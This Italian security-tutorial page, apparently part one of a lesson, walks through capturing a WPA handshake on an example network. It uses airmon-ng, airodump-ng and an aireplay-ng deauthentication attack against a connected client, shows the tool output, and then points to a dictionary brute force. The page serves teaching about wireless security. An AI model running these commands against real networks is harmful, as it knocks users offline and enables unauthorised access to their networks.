Esempio di crack di rete WPA - I



Al fine di identificare la pre-shared key della rete PippoNET abbiamo bisogno, come detto, di catturare l'authentication handshake tra client ed access point; anche in questo caso, quindi, dev'esser presente almeno un host connesso.

Come sempre, è possibile attendere fino a quando un client si connetta alla rete oppure forzare la sua disconnessione e sniffare il traffico scambiato tra gli end point alla sua successiva riconnessione.

Naturalmente noi non abbiamo pazienza ed opteremo per questa seconda via, anche se non sempre dà i risultati sperati.

Poniamo la nostra scheda di rete in monitor mode, cosicché ascolti ogni pacchetto Wi-Fi che venga irradiato in aria (e possa iniettare essa stessa pacchetti), direttamente sul canale 11:

airmon-ng start rausb0 11

ed istruiamo airodump-ng di (iniziare a) collezionare gli handshake di autenticazione che capta sul canale 11 per quel dato access point:

airodump-ng -c 11 --bssid  00:49:13:A3:CE:09 -w psk rausb0

CH 11 ][ Elapsed: 1 min ][                                         
                                                                                                       
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID 
                                                                                                       
 00:49:13:A3:CE:09  114 100     1141      911    0  11  54  WPA  TKIP   PSK  PippoNET                 
                                                                                                       
 BSSID              STATION            PWR   Rate  Lost  Packets  Probes                               
                                                                                                       
 00:49:13:A3:CE:09  00:13:02:B2:FA:28  110  54-54     0      916                                       
 00:49:13:A3:CE:09  00:1C:F0:A3:E7:80   -1  54- 0     0        8 

Cerchiamo a questo punto di de-autenticare un client (00:13:02:B2:FA:28); apriamo un'altra shell di root e digitiamo:

aireplay-ng --deauth 5 -a 00:49:13:A3:CE:09 -c 00:13:02:B2:FA:28 rausb0 

Waiting for beacon frame (BSSID: 00:49:13:A3:CE:09) on channel 11 
[...]

In questo modo invieremo messaggi di de-autenticazione all'adattatore di rete dell'host target, il quale non ne controllerà la provenienza e, con fortuna, si sconnetterà.

In caso di successo sulla collezione dell'handshake:

WPA handshake: 00:49:13:A3:CE:09 !! 
WPA handshake: 00:49:13:A3:CE:09 !!

Bene. Siamo riusciti nell'intento di catturare un 4-way handshake e tentiamo ora un brute force basato su dizionario. Seguite la prossima lezione.

Ultimi articoli Sicurezza

Forensics: NBTempo una GUI per le timeline

Usiamo NBTempo, una GUI che consente di creare delle timeline dei...

Nmap: tecniche per evadere un firewall

Vediamo come sfuggire ai controlli di un firewall utilizzando Nmap.

Sfruttare vulnerabilità XSS con BeEF

Usiamo BeEF per automatizzare lo sfruttamento di vulnerabilità Cross...

Trojan Flashback: rimuoverlo da Mac OS X

Individuiamo e rimuoviamo il trojan Flashback da Mac OS X

Individuare vulnerabilità in Joomla con JoomScan

Usiamo JoomScan per verificare la sicurezza di Joomla e la presenza...

Altri articoli

Guide Sicurezza

Guida SQL Injection con Sqlmap

Scopriamo se le nostre applicazioni web sono vulnerabili alle SQL...

Guida sicurezza applicazioni Web

Le tecniche di attacco più comuni, i metodi per verificare la...

Guida rimozione malware

Un malware è un qualsiasi software nocivo per il computer. Questa...

Altre guide

Newsletter @Sicurezza

Ogni lunedì, direttamente nella tua e-mail: approfondimenti e bollettini su virus, vulnerabilità e sicurezza informatica.

Iscriviti alla newsletter

Altre newsletter

Corsi in aula

Amministratore di Reti Windows Server 2008

11 Giugno 2012 a Milano
Disponibilità: 5 Posti

Nessun corso previsto